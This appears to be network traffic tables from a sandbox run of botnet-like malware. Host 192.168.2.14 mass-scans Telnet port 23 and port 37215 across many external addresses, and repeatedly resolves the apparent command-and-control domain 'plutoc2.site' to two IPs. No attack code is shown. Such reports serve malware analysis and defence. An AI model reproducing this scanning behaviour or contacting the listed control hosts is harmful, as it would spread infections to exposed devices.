Oct 17, 2024 02:19:47.188509941 CEST	20632	23	192.168.2.14	75.134.46.133
Oct 17, 2024 02:19:47.188507080 CEST	20632	23	192.168.2.14	135.34.205.251
Oct 17, 2024 02:19:47.188508034 CEST	20632	23	192.168.2.14	114.128.140.115
Oct 17, 2024 02:19:47.188507080 CEST	20632	23	192.168.2.14	146.145.158.227
Oct 17, 2024 02:19:47.188509941 CEST	20632	23	192.168.2.14	145.68.129.196
Oct 17, 2024 02:19:47.188508034 CEST	20632	23	192.168.2.14	119.168.64.150
Oct 17, 2024 02:19:47.188514948 CEST	20632	23	192.168.2.14	59.235.97.47
Oct 17, 2024 02:19:47.188508034 CEST	20632	23	192.168.2.14	164.32.236.128
Oct 17, 2024 02:19:47.188514948 CEST	20632	23	192.168.2.14	83.251.55.79
Oct 17, 2024 02:19:47.188509941 CEST	20632	23	192.168.2.14	65.32.126.119
Oct 17, 2024 02:19:47.188514948 CEST	20632	23	192.168.2.14	120.30.65.170
Oct 17, 2024 02:19:47.188509941 CEST	20632	23	192.168.2.14	105.243.13.98
Oct 17, 2024 02:19:47.188514948 CEST	20632	23	192.168.2.14	210.178.19.67
Oct 17, 2024 02:19:47.188544035 CEST	20632	23	192.168.2.14	155.38.58.129
Oct 17, 2024 02:19:47.188544035 CEST	20632	23	192.168.2.14	154.147.173.86
Oct 17, 2024 02:19:47.188545942 CEST	20632	23	192.168.2.14	100.10.167.247
Oct 17, 2024 02:19:47.188545942 CEST	20632	23	192.168.2.14	145.45.156.147
Oct 17, 2024 02:19:47.188544035 CEST	20632	23	192.168.2.14	177.203.106.115
Oct 17, 2024 02:19:47.188545942 CEST	20632	23	192.168.2.14	14.211.14.179
Oct 17, 2024 02:19:47.188544035 CEST	20632	23	192.168.2.14	62.20.82.147
Oct 17, 2024 02:19:47.188550949 CEST	20632	23	192.168.2.14	207.83.211.158
Oct 17, 2024 02:19:47.188545942 CEST	20632	23	192.168.2.14	197.3.12.0
Oct 17, 2024 02:19:47.188550949 CEST	20632	23	192.168.2.14	45.12.33.210
Oct 17, 2024 02:19:47.188545942 CEST	20632	23	192.168.2.14	185.228.216.77
Oct 17, 2024 02:19:47.188545942 CEST	20632	23	192.168.2.14	193.130.92.17
Oct 17, 2024 02:19:47.188545942 CEST	20632	23	192.168.2.14	202.25.241.36
Oct 17, 2024 02:19:47.188544035 CEST	20632	23	192.168.2.14	77.152.58.178
Oct 17, 2024 02:19:47.188545942 CEST	20632	23	192.168.2.14	170.130.39.209
Oct 17, 2024 02:19:47.188544035 CEST	20632	23	192.168.2.14	19.217.142.185
Oct 17, 2024 02:19:47.188544035 CEST	20632	23	192.168.2.14	25.74.246.195
Oct 17, 2024 02:19:47.188545942 CEST	20632	23	192.168.2.14	2.121.96.26
Oct 17, 2024 02:19:47.188544035 CEST	20632	23	192.168.2.14	78.200.198.134
Oct 17, 2024 02:19:47.188544035 CEST	20632	23	192.168.2.14	206.30.195.103
Oct 17, 2024 02:19:47.188566923 CEST	20632	23	192.168.2.14	75.176.197.69
Oct 17, 2024 02:19:47.188566923 CEST	20632	23	192.168.2.14	170.148.180.48
Oct 17, 2024 02:19:47.188566923 CEST	20632	23	192.168.2.14	164.51.228.44
Oct 17, 2024 02:19:47.188566923 CEST	20632	23	192.168.2.14	43.68.39.199
Oct 17, 2024 02:19:47.188568115 CEST	20632	23	192.168.2.14	80.233.73.82
Oct 17, 2024 02:19:47.188568115 CEST	20632	23	192.168.2.14	75.217.213.244
Oct 17, 2024 02:19:47.188568115 CEST	20632	23	192.168.2.14	153.90.160.227
Oct 17, 2024 02:19:47.188569069 CEST	20632	23	192.168.2.14	62.30.235.174
Oct 17, 2024 02:19:47.188569069 CEST	20632	23	192.168.2.14	161.189.39.31
Oct 17, 2024 02:19:47.188574076 CEST	20632	23	192.168.2.14	148.194.29.235
Oct 17, 2024 02:19:47.188569069 CEST	20632	23	192.168.2.14	82.249.219.196
Oct 17, 2024 02:19:47.188574076 CEST	20632	23	192.168.2.14	169.240.105.24
Oct 17, 2024 02:19:47.188569069 CEST	20632	23	192.168.2.14	73.46.80.239
Oct 17, 2024 02:19:47.188577890 CEST	20632	23	192.168.2.14	82.224.247.120
Oct 17, 2024 02:19:47.188577890 CEST	20632	23	192.168.2.14	51.99.223.11
Oct 17, 2024 02:19:47.188582897 CEST	20632	23	192.168.2.14	165.146.214.249
Oct 17, 2024 02:19:47.188581944 CEST	20632	23	192.168.2.14	168.251.178.43
Oct 17, 2024 02:19:47.188581944 CEST	20632	23	192.168.2.14	115.82.13.108
Oct 17, 2024 02:19:47.188582897 CEST	20632	23	192.168.2.14	20.210.253.35
Oct 17, 2024 02:19:47.188607931 CEST	20632	23	192.168.2.14	189.108.41.2
Oct 17, 2024 02:19:47.188607931 CEST	20632	23	192.168.2.14	199.2.186.232
Oct 17, 2024 02:19:47.188607931 CEST	20632	23	192.168.2.14	5.227.102.44
Oct 17, 2024 02:19:47.188607931 CEST	20632	23	192.168.2.14	48.166.218.133
Oct 17, 2024 02:19:47.188607931 CEST	20632	23	192.168.2.14	193.100.111.35
Oct 17, 2024 02:19:47.188607931 CEST	20632	23	192.168.2.14	65.84.213.49
Oct 17, 2024 02:19:47.188610077 CEST	20632	23	192.168.2.14	159.139.6.50
Oct 17, 2024 02:19:47.188607931 CEST	20632	23	192.168.2.14	91.14.89.73
Oct 17, 2024 02:19:47.188610077 CEST	20632	23	192.168.2.14	24.48.237.28
Oct 17, 2024 02:19:47.188610077 CEST	20632	23	192.168.2.14	73.76.117.4
Oct 17, 2024 02:19:47.188615084 CEST	20632	23	192.168.2.14	163.138.32.146
Oct 17, 2024 02:19:47.188610077 CEST	20632	23	192.168.2.14	89.51.153.228
Oct 17, 2024 02:19:47.188615084 CEST	20632	23	192.168.2.14	84.74.11.148
Oct 17, 2024 02:19:47.188610077 CEST	20632	23	192.168.2.14	13.225.202.245
Oct 17, 2024 02:19:47.188615084 CEST	20632	23	192.168.2.14	189.76.217.180
Oct 17, 2024 02:19:47.188610077 CEST	20632	23	192.168.2.14	77.250.52.28
Oct 17, 2024 02:19:47.188643932 CEST	20632	23	192.168.2.14	132.175.14.38
Oct 17, 2024 02:19:47.188643932 CEST	20632	23	192.168.2.14	189.202.107.4
Oct 17, 2024 02:19:47.188644886 CEST	20632	23	192.168.2.14	88.106.252.190
Oct 17, 2024 02:19:47.188644886 CEST	20632	23	192.168.2.14	218.206.157.27
Oct 17, 2024 02:19:47.188646078 CEST	20632	23	192.168.2.14	189.145.153.111
Oct 17, 2024 02:19:47.188647985 CEST	20632	23	192.168.2.14	32.106.127.51
Oct 17, 2024 02:19:47.188646078 CEST	20632	23	192.168.2.14	184.88.34.151
Oct 17, 2024 02:19:47.188646078 CEST	20632	23	192.168.2.14	126.113.28.200
Oct 17, 2024 02:19:47.188644886 CEST	20632	23	192.168.2.14	157.47.0.77
Oct 17, 2024 02:19:47.188647985 CEST	20632	23	192.168.2.14	17.193.125.130
Oct 17, 2024 02:19:47.188644886 CEST	20632	23	192.168.2.14	64.254.216.50
Oct 17, 2024 02:19:47.188647985 CEST	20632	23	192.168.2.14	68.18.119.106
Oct 17, 2024 02:19:47.188651085 CEST	20632	23	192.168.2.14	121.51.27.208
Oct 17, 2024 02:19:47.188647985 CEST	20632	23	192.168.2.14	53.49.75.41
Oct 17, 2024 02:19:47.188651085 CEST	20632	23	192.168.2.14	128.217.150.157
Oct 17, 2024 02:19:47.188651085 CEST	20632	23	192.168.2.14	25.197.93.237
Oct 17, 2024 02:19:47.188651085 CEST	20632	23	192.168.2.14	148.159.27.196
Oct 17, 2024 02:19:47.188659906 CEST	20632	23	192.168.2.14	82.71.196.214
Oct 17, 2024 02:19:47.188663006 CEST	20632	23	192.168.2.14	171.222.124.111
Oct 17, 2024 02:19:47.188663006 CEST	20632	23	192.168.2.14	20.171.118.44
Oct 17, 2024 02:19:47.188663006 CEST	20632	23	192.168.2.14	196.191.3.247
Oct 17, 2024 02:19:47.188659906 CEST	20632	23	192.168.2.14	199.78.150.68
Oct 17, 2024 02:19:47.188659906 CEST	20632	23	192.168.2.14	12.160.120.100
Oct 17, 2024 02:19:47.188659906 CEST	20632	23	192.168.2.14	71.112.66.229
Oct 17, 2024 02:19:47.188659906 CEST	20632	23	192.168.2.14	90.108.5.44
Oct 17, 2024 02:19:47.188673019 CEST	20632	23	192.168.2.14	85.118.7.192
Oct 17, 2024 02:19:47.188673019 CEST	20632	23	192.168.2.14	65.0.251.52
Oct 17, 2024 02:19:47.188673019 CEST	20632	23	192.168.2.14	141.186.94.44
Oct 17, 2024 02:19:47.188673019 CEST	20632	23	192.168.2.14	103.53.8.141
Oct 17, 2024 02:19:47.188673019 CEST	20632	23	192.168.2.14	159.132.62.205
Oct 17, 2024 02:19:47.188676119 CEST	20632	23	192.168.2.14	200.158.75.50
Oct 17, 2024 02:19:47.188676119 CEST	20632	23	192.168.2.14	223.71.110.185
Oct 17, 2024 02:19:47.188676119 CEST	20632	23	192.168.2.14	124.89.252.137
Oct 17, 2024 02:19:47.188676119 CEST	20632	23	192.168.2.14	8.150.209.157
Oct 17, 2024 02:19:47.188682079 CEST	20632	23	192.168.2.14	144.226.92.140
Oct 17, 2024 02:19:47.188682079 CEST	20632	23	192.168.2.14	129.97.38.133
Oct 17, 2024 02:19:47.188685894 CEST	20632	23	192.168.2.14	67.99.113.210
Oct 17, 2024 02:19:47.188685894 CEST	20632	23	192.168.2.14	117.164.54.56
Oct 17, 2024 02:19:47.188682079 CEST	20632	23	192.168.2.14	109.237.113.230
Oct 17, 2024 02:19:47.188682079 CEST	20632	23	192.168.2.14	39.176.127.159
Oct 17, 2024 02:19:47.188688040 CEST	20632	23	192.168.2.14	60.147.200.217
Oct 17, 2024 02:19:47.188688993 CEST	20632	23	192.168.2.14	42.78.97.24
Oct 17, 2024 02:19:47.188694000 CEST	20632	23	192.168.2.14	93.229.239.113
Oct 17, 2024 02:19:47.188694000 CEST	20632	23	192.168.2.14	88.235.225.240
Oct 17, 2024 02:19:47.188694000 CEST	20632	23	192.168.2.14	209.49.253.155
Oct 17, 2024 02:19:47.190689087 CEST	23	60138	150.65.175.239	192.168.2.14
Oct 17, 2024 02:19:47.191484928 CEST	23	60146	150.65.175.239	192.168.2.14
Oct 17, 2024 02:19:47.191652060 CEST	60146	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:47.192661047 CEST	23	20632	85.43.80.200	192.168.2.14
Oct 17, 2024 02:19:47.192723989 CEST	20632	23	192.168.2.14	85.43.80.200
Oct 17, 2024 02:19:47.235625982 CEST	36348	37215	192.168.2.14	156.180.112.46
Oct 17, 2024 02:19:47.235627890 CEST	60542	37215	192.168.2.14	41.27.133.111
Oct 17, 2024 02:19:47.235627890 CEST	56936	37215	192.168.2.14	156.105.45.222
Oct 17, 2024 02:19:47.240403891 CEST	37215	60542	41.27.133.111	192.168.2.14
Oct 17, 2024 02:19:47.240480900 CEST	37215	36348	156.180.112.46	192.168.2.14
Oct 17, 2024 02:19:47.240489960 CEST	60542	37215	192.168.2.14	41.27.133.111
Oct 17, 2024 02:19:47.240492105 CEST	37215	56936	156.105.45.222	192.168.2.14
Oct 17, 2024 02:19:47.240535975 CEST	56936	37215	192.168.2.14	156.105.45.222
Oct 17, 2024 02:19:47.240539074 CEST	36348	37215	192.168.2.14	156.180.112.46
Oct 17, 2024 02:19:47.240643024 CEST	56936	37215	192.168.2.14	156.105.45.222
Oct 17, 2024 02:19:47.240643024 CEST	60542	37215	192.168.2.14	41.27.133.111
Oct 17, 2024 02:19:47.240693092 CEST	20644	37215	192.168.2.14	156.87.111.33
Oct 17, 2024 02:19:47.240716934 CEST	20644	37215	192.168.2.14	156.201.54.116
Oct 17, 2024 02:19:47.240716934 CEST	20644	37215	192.168.2.14	197.12.17.192
Oct 17, 2024 02:19:47.240720987 CEST	20644	37215	192.168.2.14	197.162.238.132
Oct 17, 2024 02:19:47.240722895 CEST	20644	37215	192.168.2.14	156.117.150.229
Oct 17, 2024 02:19:47.240716934 CEST	20644	37215	192.168.2.14	197.248.215.118
Oct 17, 2024 02:19:47.240716934 CEST	20644	37215	192.168.2.14	197.220.243.219
Oct 17, 2024 02:19:47.240732908 CEST	20644	37215	192.168.2.14	156.206.238.242
Oct 17, 2024 02:19:47.240732908 CEST	20644	37215	192.168.2.14	41.227.236.227
Oct 17, 2024 02:19:47.240737915 CEST	20644	37215	192.168.2.14	156.87.135.202
Oct 17, 2024 02:19:47.240748882 CEST	20644	37215	192.168.2.14	197.141.55.146
Oct 17, 2024 02:19:47.240748882 CEST	20644	37215	192.168.2.14	156.34.235.38
Oct 17, 2024 02:19:47.240748882 CEST	20644	37215	192.168.2.14	197.188.215.120
Oct 17, 2024 02:19:47.240761042 CEST	20644	37215	192.168.2.14	197.119.254.105
Oct 17, 2024 02:19:47.240757942 CEST	20644	37215	192.168.2.14	41.180.54.102
Oct 17, 2024 02:19:47.240761995 CEST	20644	37215	192.168.2.14	156.92.187.179
Oct 17, 2024 02:19:47.240761995 CEST	20644	37215	192.168.2.14	156.180.211.28
Oct 17, 2024 02:19:47.240782022 CEST	20644	37215	192.168.2.14	197.240.101.179
Oct 17, 2024 02:19:47.240782976 CEST	20644	37215	192.168.2.14	156.200.91.27
Oct 17, 2024 02:19:47.240787983 CEST	20644	37215	192.168.2.14	41.79.65.37
Oct 17, 2024 02:19:47.240803003 CEST	20644	37215	192.168.2.14	156.36.111.198
Oct 17, 2024 02:19:47.240804911 CEST	20644	37215	192.168.2.14	156.1.24.46
Oct 17, 2024 02:19:47.240804911 CEST	20644	37215	192.168.2.14	41.149.42.12
Oct 17, 2024 02:19:47.240814924 CEST	20644	37215	192.168.2.14	197.109.185.164
Oct 17, 2024 02:19:47.240814924 CEST	20644	37215	192.168.2.14	197.16.129.206
Oct 17, 2024 02:19:47.240818977 CEST	20644	37215	192.168.2.14	156.118.180.36
Oct 17, 2024 02:19:47.240829945 CEST	20644	37215	192.168.2.14	156.91.128.190
Oct 17, 2024 02:19:47.240833044 CEST	20644	37215	192.168.2.14	41.227.77.103
Oct 17, 2024 02:19:47.240844011 CEST	20644	37215	192.168.2.14	41.125.47.42
Oct 17, 2024 02:19:47.240844011 CEST	20644	37215	192.168.2.14	41.65.218.185
Oct 17, 2024 02:19:47.240848064 CEST	20644	37215	192.168.2.14	156.96.127.195
Oct 17, 2024 02:19:47.240849018 CEST	20644	37215	192.168.2.14	197.142.113.181
Oct 17, 2024 02:19:47.240849972 CEST	20644	37215	192.168.2.14	156.121.165.235
Oct 17, 2024 02:19:47.240849018 CEST	20644	37215	192.168.2.14	156.128.44.13
Oct 17, 2024 02:19:47.240849018 CEST	20644	37215	192.168.2.14	197.90.216.22
Oct 17, 2024 02:19:47.240849972 CEST	20644	37215	192.168.2.14	156.183.89.72
Oct 17, 2024 02:19:47.240859985 CEST	20644	37215	192.168.2.14	156.78.214.169
Oct 17, 2024 02:19:47.240859985 CEST	20644	37215	192.168.2.14	41.133.108.169
Oct 17, 2024 02:19:47.240863085 CEST	20644	37215	192.168.2.14	197.7.111.202
Oct 17, 2024 02:19:47.240869999 CEST	20644	37215	192.168.2.14	197.183.56.33
Oct 17, 2024 02:19:47.240880013 CEST	20644	37215	192.168.2.14	197.84.180.132
Oct 17, 2024 02:19:47.240885973 CEST	20644	37215	192.168.2.14	197.27.244.63
Oct 17, 2024 02:19:47.240885973 CEST	20644	37215	192.168.2.14	41.191.144.80
Oct 17, 2024 02:19:47.240888119 CEST	20644	37215	192.168.2.14	41.23.78.253
Oct 17, 2024 02:19:47.240888119 CEST	20644	37215	192.168.2.14	156.36.15.92
Oct 17, 2024 02:19:47.240900993 CEST	20644	37215	192.168.2.14	197.219.99.75
Oct 17, 2024 02:19:47.240901947 CEST	20644	37215	192.168.2.14	156.141.221.95
Oct 17, 2024 02:19:47.240901947 CEST	20644	37215	192.168.2.14	41.240.115.167
Oct 17, 2024 02:19:47.240901947 CEST	20644	37215	192.168.2.14	41.1.75.234
Oct 17, 2024 02:19:47.240909100 CEST	20644	37215	192.168.2.14	156.131.129.146
Oct 17, 2024 02:19:47.240916014 CEST	20644	37215	192.168.2.14	41.115.85.253
Oct 17, 2024 02:19:47.240917921 CEST	20644	37215	192.168.2.14	197.79.222.16
Oct 17, 2024 02:19:47.240921974 CEST	20644	37215	192.168.2.14	197.120.48.86
Oct 17, 2024 02:19:47.240928888 CEST	20644	37215	192.168.2.14	41.96.85.155
Oct 17, 2024 02:19:47.240928888 CEST	20644	37215	192.168.2.14	197.61.166.108
Oct 17, 2024 02:19:47.240935087 CEST	20644	37215	192.168.2.14	156.144.140.236
Oct 17, 2024 02:19:47.240935087 CEST	20644	37215	192.168.2.14	156.168.106.57
Oct 17, 2024 02:19:47.240935087 CEST	20644	37215	192.168.2.14	156.42.166.54
Oct 17, 2024 02:19:47.240936995 CEST	20644	37215	192.168.2.14	197.237.42.31
Oct 17, 2024 02:19:47.240950108 CEST	20644	37215	192.168.2.14	156.222.188.92
Oct 17, 2024 02:19:47.240957975 CEST	20644	37215	192.168.2.14	197.8.131.190
Oct 17, 2024 02:19:47.240957975 CEST	20644	37215	192.168.2.14	156.20.14.218
Oct 17, 2024 02:19:47.240957975 CEST	20644	37215	192.168.2.14	197.138.1.55
Oct 17, 2024 02:19:47.240957975 CEST	20644	37215	192.168.2.14	41.90.14.129
Oct 17, 2024 02:19:47.240957975 CEST	20644	37215	192.168.2.14	156.240.162.252
Oct 17, 2024 02:19:47.240971088 CEST	20644	37215	192.168.2.14	41.63.90.182
Oct 17, 2024 02:19:47.240971088 CEST	20644	37215	192.168.2.14	197.37.16.125
Oct 17, 2024 02:19:47.240973949 CEST	20644	37215	192.168.2.14	156.185.119.83
Oct 17, 2024 02:19:47.240976095 CEST	20644	37215	192.168.2.14	156.187.40.81
Oct 17, 2024 02:19:47.240978956 CEST	20644	37215	192.168.2.14	41.244.131.56
Oct 17, 2024 02:19:47.240997076 CEST	20644	37215	192.168.2.14	197.184.199.41
Oct 17, 2024 02:19:47.241005898 CEST	20644	37215	192.168.2.14	197.126.86.173
Oct 17, 2024 02:19:47.241010904 CEST	20644	37215	192.168.2.14	41.230.189.227
Oct 17, 2024 02:19:47.241014004 CEST	20644	37215	192.168.2.14	197.198.166.1
Oct 17, 2024 02:19:47.241014004 CEST	20644	37215	192.168.2.14	41.236.234.254
Oct 17, 2024 02:19:47.241022110 CEST	20644	37215	192.168.2.14	197.22.58.252
Oct 17, 2024 02:19:47.241022110 CEST	20644	37215	192.168.2.14	41.145.29.124
Oct 17, 2024 02:19:47.241029024 CEST	20644	37215	192.168.2.14	41.174.7.34
Oct 17, 2024 02:19:47.241031885 CEST	20644	37215	192.168.2.14	41.68.180.155
Oct 17, 2024 02:19:47.241033077 CEST	20644	37215	192.168.2.14	197.255.45.109
Oct 17, 2024 02:19:47.241034985 CEST	20644	37215	192.168.2.14	197.163.46.145
Oct 17, 2024 02:19:47.241034985 CEST	20644	37215	192.168.2.14	197.160.166.1
Oct 17, 2024 02:19:47.241048098 CEST	20644	37215	192.168.2.14	197.49.158.170
Oct 17, 2024 02:19:47.241060019 CEST	20644	37215	192.168.2.14	197.13.205.106
Oct 17, 2024 02:19:47.241060019 CEST	20644	37215	192.168.2.14	41.115.206.154
Oct 17, 2024 02:19:47.241063118 CEST	20644	37215	192.168.2.14	41.239.88.41
Oct 17, 2024 02:19:47.241063118 CEST	20644	37215	192.168.2.14	41.159.187.87
Oct 17, 2024 02:19:47.241067886 CEST	20644	37215	192.168.2.14	197.108.99.31
Oct 17, 2024 02:19:47.241067886 CEST	20644	37215	192.168.2.14	41.38.161.132
Oct 17, 2024 02:19:47.241070986 CEST	20644	37215	192.168.2.14	156.194.52.63
Oct 17, 2024 02:19:47.241070986 CEST	20644	37215	192.168.2.14	41.51.179.140
Oct 17, 2024 02:19:47.241081953 CEST	20644	37215	192.168.2.14	156.162.241.150
Oct 17, 2024 02:19:47.241081953 CEST	20644	37215	192.168.2.14	156.59.215.32
Oct 17, 2024 02:19:47.241089106 CEST	20644	37215	192.168.2.14	156.213.25.214
Oct 17, 2024 02:19:47.241091013 CEST	20644	37215	192.168.2.14	197.200.0.91
Oct 17, 2024 02:19:47.241091013 CEST	20644	37215	192.168.2.14	197.122.96.231
Oct 17, 2024 02:19:47.241091013 CEST	20644	37215	192.168.2.14	197.127.7.232
Oct 17, 2024 02:19:47.241095066 CEST	20644	37215	192.168.2.14	156.69.22.189
Oct 17, 2024 02:19:47.241095066 CEST	20644	37215	192.168.2.14	41.254.174.151
Oct 17, 2024 02:19:47.241105080 CEST	20644	37215	192.168.2.14	156.186.172.214
Oct 17, 2024 02:19:47.241106033 CEST	20644	37215	192.168.2.14	41.98.119.44
Oct 17, 2024 02:19:47.241106033 CEST	20644	37215	192.168.2.14	156.102.145.182
Oct 17, 2024 02:19:47.241107941 CEST	20644	37215	192.168.2.14	197.101.90.245
Oct 17, 2024 02:19:47.241117001 CEST	20644	37215	192.168.2.14	197.181.16.13
Oct 17, 2024 02:19:47.241126060 CEST	20644	37215	192.168.2.14	197.177.11.169
Oct 17, 2024 02:19:47.241126060 CEST	20644	37215	192.168.2.14	41.124.114.157
Oct 17, 2024 02:19:47.241126060 CEST	20644	37215	192.168.2.14	41.103.205.105
Oct 17, 2024 02:19:47.241127968 CEST	20644	37215	192.168.2.14	41.200.69.228
Oct 17, 2024 02:19:47.241127968 CEST	20644	37215	192.168.2.14	156.68.67.135
Oct 17, 2024 02:19:47.241131067 CEST	20644	37215	192.168.2.14	197.213.235.226

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 17, 2024 02:19:41.046475887 CEST	192.168.2.14	8.8.8.8	0xc2d6	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:19:56.746189117 CEST	192.168.2.14	8.8.8.8	0x50b4	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:05.237909079 CEST	192.168.2.14	8.8.8.8	0x4291	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:13.740647078 CEST	192.168.2.14	8.8.8.8	0x9118	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:22.255886078 CEST	192.168.2.14	8.8.8.8	0x6b7e	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:24.131696939 CEST	192.168.2.14	8.8.8.8	0x447f	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:24.965497017 CEST	192.168.2.14	8.8.8.8	0x3698	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:25.798145056 CEST	192.168.2.14	8.8.8.8	0xa422	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:34.313931942 CEST	192.168.2.14	8.8.8.8	0x7d0e	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:42.812629938 CEST	192.168.2.14	8.8.8.8	0x75cf	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:43.638590097 CEST	192.168.2.14	8.8.8.8	0x3138	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:44.474023104 CEST	192.168.2.14	8.8.8.8	0x5ec9	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:52.970860004 CEST	192.168.2.14	8.8.8.8	0xcc4a	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:01.476222992 CEST	192.168.2.14	8.8.8.8	0xd53a	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:01.493916988 CEST	192.168.2.14	8.8.8.8	0xd9a1	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:02.340367079 CEST	192.168.2.14	8.8.8.8	0x91e0	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:10.841857910 CEST	192.168.2.14	8.8.8.8	0xc641	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:19.334965944 CEST	192.168.2.14	8.8.8.8	0x3d80	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:27.838745117 CEST	192.168.2.14	8.8.8.8	0x21eb	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:28.673011065 CEST	192.168.2.14	8.8.8.8	0x4f9b	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:29.519434929 CEST	192.168.2.14	8.8.8.8	0x501	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:38.027970076 CEST	192.168.2.14	8.8.8.8	0xe54c	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:38.047921896 CEST	192.168.2.14	8.8.8.8	0x6da7	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:38.070429087 CEST	192.168.2.14	8.8.8.8	0xbf32	Standard query (0)	plutoc2.site	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 17, 2024 02:19:41.058634043 CEST	8.8.8.8	192.168.2.14	0xc2d6	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:19:41.058634043 CEST	8.8.8.8	192.168.2.14	0xc2d6	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:19:56.753602982 CEST	8.8.8.8	192.168.2.14	0x50b4	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:19:56.753602982 CEST	8.8.8.8	192.168.2.14	0x50b4	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:05.244962931 CEST	8.8.8.8	192.168.2.14	0x4291	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:05.244962931 CEST	8.8.8.8	192.168.2.14	0x4291	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:13.747483969 CEST	8.8.8.8	192.168.2.14	0x9118	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:13.747483969 CEST	8.8.8.8	192.168.2.14	0x9118	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:22.265620947 CEST	8.8.8.8	192.168.2.14	0x6b7e	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:22.265620947 CEST	8.8.8.8	192.168.2.14	0x6b7e	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:24.139290094 CEST	8.8.8.8	192.168.2.14	0x447f	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:24.139290094 CEST	8.8.8.8	192.168.2.14	0x447f	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:24.972877979 CEST	8.8.8.8	192.168.2.14	0x3698	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:24.972877979 CEST	8.8.8.8	192.168.2.14	0x3698	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:25.827636957 CEST	8.8.8.8	192.168.2.14	0xa422	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:25.827636957 CEST	8.8.8.8	192.168.2.14	0xa422	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:34.320779085 CEST	8.8.8.8	192.168.2.14	0x7d0e	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:34.320779085 CEST	8.8.8.8	192.168.2.14	0x7d0e	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:42.819843054 CEST	8.8.8.8	192.168.2.14	0x75cf	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:42.819843054 CEST	8.8.8.8	192.168.2.14	0x75cf	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:43.645467043 CEST	8.8.8.8	192.168.2.14	0x3138	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:43.645467043 CEST	8.8.8.8	192.168.2.14	0x3138	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:44.480964899 CEST	8.8.8.8	192.168.2.14	0x5ec9	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:44.480964899 CEST	8.8.8.8	192.168.2.14	0x5ec9	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
